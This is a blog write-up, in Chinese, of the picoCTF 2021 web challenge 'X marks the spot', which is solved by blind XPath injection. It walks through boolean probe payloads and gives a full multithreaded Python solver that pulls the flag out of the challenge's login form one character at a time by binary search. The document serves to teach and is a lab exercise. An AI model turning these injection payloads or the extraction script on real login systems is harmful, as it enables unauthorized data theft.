> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# picoCTF 2021 X marks the spot
- URL: https://taiwanding.com/picoctf-2021-x-marks-the-spot/
- Published: 2026-08-30T14:25:03.000Z
- Updated: 2026-08-30T14:25:03.000Z
- Author: Kevin Chen
- Tags: XML, #picoCTF, CyLab Security Academy, CTF, XPath Injection

這題是 picoCTF 2021 的 Web 題：`X marks the spot`，

打開之後很樸素：一個登入頁，兩個欄位，`username` 和 `password`。

但頁面上故意寫了一句很可疑的話：

> I don't use any of those regular old unsafe query languages!

這句話幾乎是在明示：我不是 SQL，一開始看到登入框，直覺會想丟一個 `' or 1=1--`，可是這題真正值得學的地方不是「背一個萬用 payload」，而是要理解：

**有些查詢語言不是 SQL，但注入的邏輯一模一樣，網站只肯回你 TRUE／FALSE，一樣能把資料一個字一個字問出來，**這題就是 XPath 盲注。

## 題目資訊

- 題目：X marks the spot
- 分類：Web Exploitation
- 平台：picoCTF 2021
- 連結：[https://learn.cylabacademy.org/library/185](https://learn.cylabacademy.org/library/185?ref=taiwanding.com)

## 什麼是 XPath Injection

XPath 是拿來查 XML 文件的查詢語言，它跟 SQL 有點像，差別是 SQL 查資料表，XPath 查 XML 節點。

例如：

```xpath
/root/user[name='admin' and pass='password']

```

意思大概是：

> 找到 `<root>` 底下的 `<user>`，而且 `<name>` 是 `admin`、`<pass>` 是 `password`。

如果後端把使用者輸入直接拼進 XPath，就會出現 XPath injection，它跟 SQLi 的成因其實是同一件事：

```text
使用者可控的字串，被直接拼進查詢語句，改變了查詢的結構

```

差別只是查詢語言從 SQL 換成 XPath，

## Step 1：先觀察登入頁與提示

先把題目給的線索攤開：

- 一個登入頁，`username` 和 `password` 兩個欄位
- 提示語：`I don't use any of those regular old unsafe query languages!`
- 題名叫 `X marks the spot`
- 原始碼註解裡放了一首 Robert Frost 的詩，內文有 road、path 這類字

把這些線索連起來：

```text
不是 SQL（提示語自己說的）
一直暗示 path（題名、詩）
那會不會是 XPath？

```

這一步還不需要打任何 payload，只是先建立一個假設：這題大概率是 XPath，接下來每一步，都是在驗證或推翻這個假設。

## Step 2：確認有沒有布林訊號

這題有趣的地方是，它不是讓我們直接登入成功拿頁面，而是給我們一個布林訊號。

先送一個永遠為真的 payload：

```text
' or '1'='1

```

網站回：

```text
You're on the right path

```

再送一個永遠為假的 payload：

```text
' or '1'='2

```

網站回登入失敗。

同一組輸入、只差一個字元，回應就穩定不同，這代表：我們不一定看得到查詢結果，但可以得到 yes／no，這就是 blind injection 的味道——頁面本身不吐資料，但它會用「兩種不同回應」當作真假的答案。

## Step 3：確認 XPath expression 真的被執行

只證明「有真假差異」還不夠，因為那也可能只是密碼錯誤造成的，下一步要證明：我們塞進去的東西真的是被當成 XPath 在算。

測一個一定為真的 XPath 函數：

```text
' or starts-with('abc','a') or '1'='2

```

回應是 TRUE（right path）。

再測一個一定為假的：

```text
' or starts-with('abc','z') or '1'='2

```

回應是 FALSE。

`starts-with('abc','a')` 和 `starts-with('abc','z')` 差別只在函數結果，而網站的回應跟著函數結果變，這幾乎可以確認：我們塞進去的 XPath expression 真的被後端執行了，到這裡假設就成立了：這是 XPath injection，而且是 blind 的。

## Step 4：搞清楚我們到底在問什麼

在自動化之前，先用一個 toy example 把「我們到底怎麼把 flag 問出來」講清楚。

假設後端 XML 長這樣：

```xml
<root>
  <user>
    <name>admin</name>
    <pass>secret123</pass>
  </user>
  <flag>picoCTF{hat}</flag>
</root>

```

後端原本大概是這種查詢：

```xpath
/root/user[name='admin' and pass='使用者輸入']

```

正常輸入 `abc` 會變成：

```xpath
/root/user[name='admin' and pass='abc']

```

查不到，所以失敗。

但如果密碼欄輸入：

```text
' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2

```

後端拼起來會變成類似：

```xpath
/root/user[name='admin' and pass='' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2']

```

核心是這一段：

```xpath
starts-with(substring-after(string(/*),'picoCTF{'),'h')

```

由內往外拆：

`string(/*)` 會把 XML 根節點底下的文字全部串成一個字串，概念上像：

```text
admin secret123 picoCTF{hat}

```

`substring-after(string(/*),'picoCTF{')` 取出 `picoCTF{` 後面的內容：

```text
hat}

```

`starts-with('hat}','h')` 問這串是不是 `h` 開頭，答案是 TRUE，

網站不會直接把 `hat}` 印給我們，但它會透過「right path」或「login failure」告訴我們這個問題的 TRUE／FALSE。

所以我們其實是在玩一個 yes／no 遊戲：

| 問題                   | 回答    | 推論      |
| -------------------- | ----- | ------- |
| picoCTF{ 後面是不是 a 開頭？ | FALSE | 不是 a    |
| 是不是 b 開頭？            | FALSE | 不是 b    |
| 是不是 h 開頭？            | TRUE  | 第一個字是 h |
| 是不是 ha 開頭？           | TRUE  | 第二個字是 a |
| 是不是 hat 開頭？          | TRUE  | 第三個字是 t |
| 是不是 hat} 開頭？         | TRUE  | 結束      |

一句話講完：

> 每次只問一個 yes／no 問題，靠很多次 yes／no 把藏在 XML 裡的文字拼出來。

## Step 5：把逐字元改成可平行的問法

Step 4 那種 `starts-with(prefix + candidate)` 的做法有一個缺點：前後相依。

```text
不知道第一個字，就沒辦法問第二個字
不知道第二個字，就沒辦法問第三個字

```

只能一位一位往後推，很慢。

換個問法就不一樣了：

```xpath
substring(flag_body, pos, 1)

```

它不是問「目前 prefix 對不對」，而是直接問「第 `pos` 個字元是什麼」，例如：

```xpath
substring(flag_body, 5, 1)

```

就是單獨問第 5 個字元，每個位置彼此獨立：

| 位置 | 問題           |
| -- | ------------ |
| 1  | 第 1 個字元是什麼？  |
| 2  | 第 2 個字元是什麼？  |
| 3  | 第 3 個字元是什麼？  |
| 10 | 第 10 個字元是什麼？ |

位置獨立，就可以多線程同時問，不用等前一位。

再進一步，每個位置也不用把 95 個 printable ASCII 一個一個試，可以用二分法：

```xpath
contains('一半候選字元', substring(flag_body, pos, 1))

```

TRUE 代表該字元在左半邊，FALSE 代表在右半邊，95 個候選字元，大約 7 次查詢就能定位一個字元，到這裡策略就完整了：先問出長度，再對每個位置用二分法找字元，位置之間平行跑。

## Step 6：自動化抽取整個 flag

把 Step 5 的策略寫成腳本，它做的事情是：

1. 先確認 XML 裡有 `picoCTF{`
2. 用 `substring-before(..., '}')` 只抓 `{` 到 `}` 中間的內容
3. 用二分法找每個位置的字元
4. 用 thread pool 讓不同位置平行查詢
5. 不在輸出裡保留真實 flag

先設定目標與參數：

```bash
BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1

```

如果伺服器回應不穩，把並行數降低、投票數提高：

```bash
WORKERS=6
VOTES=3

```

腳本：

```python
import os
import time
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

BASE = os.environ["BASE"].rstrip("/")
WORKERS = int(os.environ.get("WORKERS", "8"))
VOTES = int(os.environ.get("VOTES", "1"))
KNOWN = "picoCTF{"
CHARS = ''.join(chr(i) for i in range(32, 127))

_tl = threading.local()

def sess():
    s = getattr(_tl, "s", None)
    if s is None:
        s = requests.Session()
        _tl.s = s
    return s

def lit(s):
    if "'" not in s:
        return "'" + s + "'"
    if '"' not in s:
        return '"' + s + '"'

    parts = []
    for i, p in enumerate(s.split("'")):
        if i:
            parts.append('"\'"')
        if p:
            parts.append("'" + p + "'")
    return "concat(" + ",".join(parts) + ")"

AFTER = f"substring-after(string(/*),{lit(KNOWN)})"
BODY = f"substring-before({AFTER},{lit('}')})"

def one(expr):
    payload = f"' or {expr} or '1'='2"

    for _ in range(3):
        try:
            r = sess().post(
                BASE + "/",
                data={"name": "admin", "pass": payload},
                timeout=10,
            )
            return "right path" in r.text.lower()
        except requests.RequestException:
            time.sleep(0.25)

    raise RuntimeError("request failed")

def oracle(expr, votes=None):
    votes = votes or VOTES
    yes = 0

    for _ in range(votes):
        yes += one(expr)
        time.sleep(0.02)

    return yes >= (votes // 2 + 1)

def length_ge(n):
    return oracle(f"string-length({BODY})>={n}")

def get_length():
    if not oracle(f"contains(string(/*),{lit(KNOWN)})", votes=3):
        raise SystemExit("[!] cannot confirm picoCTF{")

    if not oracle(f"contains({AFTER},{lit('}')})", votes=3):
        raise SystemExit("[!] cannot confirm closing }")

    lo, hi = 0, 1

    while length_ge(hi):
        lo, hi = hi, hi * 2
        if hi > 256:
            raise SystemExit("[!] length too large, check target/noise")

    while hi - lo > 1:
        mid = (lo + hi) // 2
        if length_ge(mid):
            lo = mid
        else:
            hi = mid

    return lo

def char_expr(pos):
    return f"substring({BODY},{pos},1)"

def char_at(pos):
    pool = CHARS

    while len(pool) > 1:
        mid = len(pool) // 2
        left = pool[:mid]

        if oracle(f"contains({lit(left)},{char_expr(pos)})"):
            pool = left
        else:
            pool = pool[mid:]

    c = pool[0]

    if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
        return c

    for c in CHARS:
        if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
            return c

    return None

print("[+] probing body length...", flush=True)
L = get_length()
print(f"[+] body length = {L}", flush=True)

result = [None] * (L + 1)

with ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = {
        ex.submit(char_at, pos): pos
        for pos in range(1, L + 1)
    }

    for fut in as_completed(futs):
        pos = futs[fut]

        try:
            result[pos] = fut.result()
        except Exception as e:
            print(f"[!] pos {pos} error: {e}", flush=True)

        print(f"[.] pos {pos:>2}/{L} = {result[pos]!r}", flush=True)

missing = [
    i for i in range(1, L + 1)
    if result[i] is None
]

if missing:
    print("[!] retry missing positions sequentially:", missing, flush=True)

    for pos in missing:
        result[pos] = char_at(pos)
        print(f"[.] retry pos {pos:>2}/{L} = {result[pos]!r}", flush=True)

body = ''.join(result[i] or '?' for i in range(1, L + 1))
print("[+] flag:", KNOWN + body + "}", flush=True)

if "?" in body:
    print("[!] still has ?. Try WORKERS=6 VOTES=3", flush=True)

```

執行方式：

```bash
BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1

BASE="$BASE" WORKERS="$WORKERS" VOTES="$VOTES" python3 solver.py

```

跑完就會把 flag 一個位置一個位置拼出來，如果輸出裡還有 `?`，代表某些位置在雜訊下沒問穩定，照提示改成 `WORKERS=6 VOTES=3` 再跑一次。

## 學習重點

這題最值得帶走的不是 XPath 語法，而是這個思考方式：

```text
你是不是 XPath？
你會不會給我穩定的真假？
我塞的函數你有沒有真的算？
我能不能逐字元問？
我能不能不照順序問、還能平行問？

```

以後看到只回真假的功能時，可以特別注意：

- 登入、搜尋、篩選這種功能，背後是不是用 XML＋XPath？
- 頁面提示「不用 SQL」、「query language」、「path」、「XML」、「document」時，是不是在暗示查詢語言？
- 就算沒有 error 訊息，只要回應有穩定的兩種狀態，就可能是一條盲注通道。